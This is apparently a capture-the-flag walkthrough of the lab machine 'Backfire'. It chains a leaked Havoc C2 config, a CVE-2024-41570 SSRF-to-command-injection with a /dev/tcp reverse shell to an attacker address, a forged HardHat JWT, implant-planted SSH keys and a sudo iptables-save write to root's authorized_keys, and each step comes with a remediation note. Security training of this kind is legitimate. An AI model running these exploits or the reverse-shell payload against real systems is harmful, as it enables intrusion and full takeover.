Backfire
Summary
I found an nginx directory listing on port 8000 that leaked a Havoc C2 teamserver configuration file, exposing operator credentials and the location of a loopback-only management socket. Chaining that with Havoc's CVE-2024-41570 SSRF-to-command-injection flaw let me reach the firewalled teamserver and inject a shell command during a demon build, planting an SSH key for the user ilya and gaining a foothold.
From there, a second internal C2 platform, HardHat, was found running on loopback ports with a hardcoded default JWT signing secret baked into its public source code; forging an admin token bypassed authentication entirely, and the resulting session was used to task an active implant to plant ilya's SSH key into the second operator account, sergej. Finally, sergej held unrestricted sudo rights over iptables-save, which was abused to write an SSH key straight into root's authorized_keys file, completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export KEY="<the-key-you-recovered>"Some commands also carry a value in angle brackets — <sha3_256_hash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Full port scan; only 22, 443, 8000 open.
$ nmap -p- -sV $TARGETDirectory listing on the second nginx instance.
$ curl -s http://$TARGET:8000/Leaked patch note pointing at the Havoc teamserver loopback socket.
$ curl -s http://$TARGET:8000/disable_tls.patch -o disable_tls.patchLeaked Havoc config with operator credentials for ilya and sergej.
$ curl -s http://$TARGET:8000/havoc.yaotl -o havoc.yaotlFixDisable directory listing and remove secrets from web-served pathsHigh
autoindex off; on every nginx location block, remove configuration/credential files from any web-served directory, and store secrets in a vault or environment variables outside the document root. Audit all exposed vhosts for stray build artifacts before deployment.Exact commands 8
Generate the key to be planted.
$ ssh-keygen -q -t ed25519 -f /tmp/backfire_ilya_20260904 -N '' -C backfire-ilya-20260904Staged CVE-2024-41570 PoC — registers a fake demon on the public 443/8443 listener and opens a socket to the loopback teamserver (40056).
$ python3 ./exploit.py -hHavoc hashes the login password with SHA3-256 for the management websocket.
$ python3 -c "import hashlib; print(hashlib.sha3_256(b'$PASSWORD2').hexdigest())"Authenticate to the Havoc management API as ilya.
$ # over the SSRF-tunneled /havoc/ websocket, send SubEvent-3: {"User":"ilya","Password":"<sha3_256_hash>"}Command injection in the build's compiler invocation; -mbla aborts compilation fast so stderr shows output.
$ # create a Demon listener, then submit a Build with Service Name: \" -mbla; echo <base64_of:"bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1"> | base64 -d | bash 1>&2 && false #Catch the reverse shell as ilya.
$ nc -lvnp 443Confirm foothold: uid=1000(ilya).
$ ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET id
uid=1000(ilya)Replace with <user.txt>.
$ ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET cat /home/ilya/user.txtFixPatch Havoc C2 and firewall its management socketCritical
Exact commands 3
Enumerate listening ports and confirm no direct sudo path.
$ ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET 'ss -lnt; sudo -n -l'Pull the HardHat TeamServer API definition.
$ ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET 'curl -ksS https://127.0.0.1:5000/swagger/v1/swagger.json' > backfire_hardhat_swagger.jsonList available endpoints.
$ jq -r '.paths|keys[]' backfire_hardhat_swagger.jsonExact commands 3
Forge an admin JWT with HardHat's hardcoded default secret and issuer (PyJWT).
$ python3 -c "import jwt; print(jwt.encode({'sub':'HardHat_Admin','iss':'hardhatc2.com'}, '$KEY', algorithm='HS256'))"Capture the forged token.
$ TOKEN=$(python3 /tmp/backfire_forge_jwt.py)Use the forged token to register a privileged TeamLead account.
$ ssh -i /tmp/backfire_ilya_20260904 ilya@$TARGET "curl -ksS -i https://127.0.0.1:5000/Login/Register -H 'Authorization: Bearer $TOKEN' -H 'Content-Type: application/json' --data '{\"username\":\"pwnlead0904\",\"password\":\"$PASSWORD4\",\"role\":\"TeamLead\"}'"FixReplace HardHat C2's hardcoded JWT signing secret with a unique, rotated secretCritical
Exact commands 3
Drives POST /Implants/{ImplantId}/tasks with the forged Bearer token to task a live implant.
$ python3 /tmp/hardhat_terminal_key_ui.py /tmp/backfire_hardhat_swagger.jsonCommand executed by the implant as sergej.
$ # task payload: mkdir -p /home/sergej/.ssh; printf '%s\n' '<ilya ed25519 pubkey>' >> /home/sergej/.ssh/authorized_keys; chmod 700 /home/sergej/.ssh; chmod 600 /home/sergej/.ssh/authorized_keysConfirm the pivot: uid=1000(sergej).
$ ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET idExact commands 6
Confirm NOPASSWD rights on iptables/iptables-save.
$ ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET 'sudo -n -l'Generate a fresh key for root access.
$ ssh-keygen -t ed25519 -f /tmp/k -N ''Smuggle the SSH public key into an iptables rule comment.
$ ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET 'sudo /usr/sbin/iptables -A INPUT -i lo -m comment --comment "$(printf "\n%s\n" "$(cat /tmp/k.pub)")"'Save the ruleset (embedding the key) directly over root's authorized_keys.
$ ssh -i /tmp/backfire_ilya_20260904 sergej@$TARGET 'sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys'Confirm root: uid=0(root).
$ ssh -i /tmp/k root@$TARGET idReplace with <root.txt>.
$ ssh -i /tmp/k root@$TARGET cat /root/root.txtFixRemove unrestricted sudo rights over iptables-saveCritical
Attack patterns used
The transferable techniques behind this compromise.
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 443/tcp | ssl/http nginx 1.22.1 |
| 8000/tcp | http nginx 1.22.1 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.